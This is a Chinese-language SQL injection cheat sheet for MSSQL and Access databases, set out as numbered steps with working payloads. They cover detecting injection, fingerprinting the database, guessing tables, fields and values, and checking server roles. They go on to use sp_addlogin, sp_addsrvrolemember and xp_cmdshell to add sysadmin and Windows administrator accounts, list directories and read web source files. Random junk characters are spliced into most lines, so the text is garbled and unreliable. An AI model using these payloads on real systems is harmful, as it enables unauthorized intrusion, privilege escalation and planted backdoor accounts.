1.判断是否有注入;and 1=1 ;and 1=2 `'[ 7M
2.初步判断是否是mssql ;and user>0 w`Dzk.2
-j9R%+YW<
3.注入参数是字符'and [查询条件] and ''=' ]eq3cwR[|
\0pJ+@\T9
4.搜索时没过滤参数的'and [查询条件] and '%25'=' WiL~b
=fT
P
+ nT%
5.判断数据库系统 O ,[aL;v
X3Vpxtb
;and (select count(*) from sysobjects)>0 mssql n.y72-&v
AsM""x1Ix
;and (select count(*) from msysobjects)>0 access hGF(E*
viBf".
N3H!ptn37
>}/"gx
6.猜数据库 ;and (select Count(*) from [数据库名])>0 +*
)Qi)
"FaG5X(
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 RS/%uxS?
Nu{RF
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |[|X
'F+O+-p+
9.(1)猜字段的ascii值(access) /7h%sCX
|P2GL3NR
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ^ :Q |,oy
'
n~N*DH
(2)猜字段的ascii值(mssql) h3xX26l
4#=!VK8ZH
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Xb3vvHdI
eeb8v:4
10.测试权限结构(mssql) #
dxlU/*
|_~BV&g,N
$zz=>BOk
.?S#DS )
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- sa+:c{
AJ:@c7:eS
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $b$r,mc
yZFvpw|g
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- tQJ@//C\z
+.\JYH=yEr
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
v-[|7Pg}Z
OG 5n9sx
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- rf1nC$Sop
;Xgy2'3
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- g)&-S3\
uD:O[H-x
;and 1=(select IS_MEMBER('db_owner'));-- INzQ0z-z
!1"~tA!+p=
`U`Z9q5-
9LJ/m\bi
11.添加mssql和系统的帐户 =4 JVUu~Z
+Mm0bqNN
;exec master.dbo.sp_addlogin username;-- 4b3p,$BWS
;exec master.dbo.sp_password null,username,password;-- <k^9l6@
WM=kr$/3
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- >o>'@)I?e6
o
ohf))
;exec master.dbo.xp_cmdshell 'net user username password B{1+0k
6x/ X8zu
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6nGDoW#
rzaEVXbz1
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ! 2Y,
a
l/rhA6kEU
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- gYzKUX@
9f l !CG
{Y'_QW1:2
!FpMO`m
12.(1)遍历目录 4
<]QMA0
e$>5GM
;create table dirs(paths varchar(100), id int) F/EHU?_EI
[S</QS!
;insert dirs exec master.dbo.xp_dirtree 'c:\' nI_Zk.R
p-KuCobz]
;and (select top 1 paths from dirs)>0 29Q5s$YD@
[sNn^x
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) n{'
[[2U
}.b[a z\T
H V
Y@.JW
(2)遍历目录 i,yK&*>JJ
$V~%$
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Fx3VQ'%J
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 s.GhquFCrU
At bqj?
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4qm5`o\hb
eEc;w#
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5&9(d_#H
Ca1)>1Vz
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 u5CT7_#)
&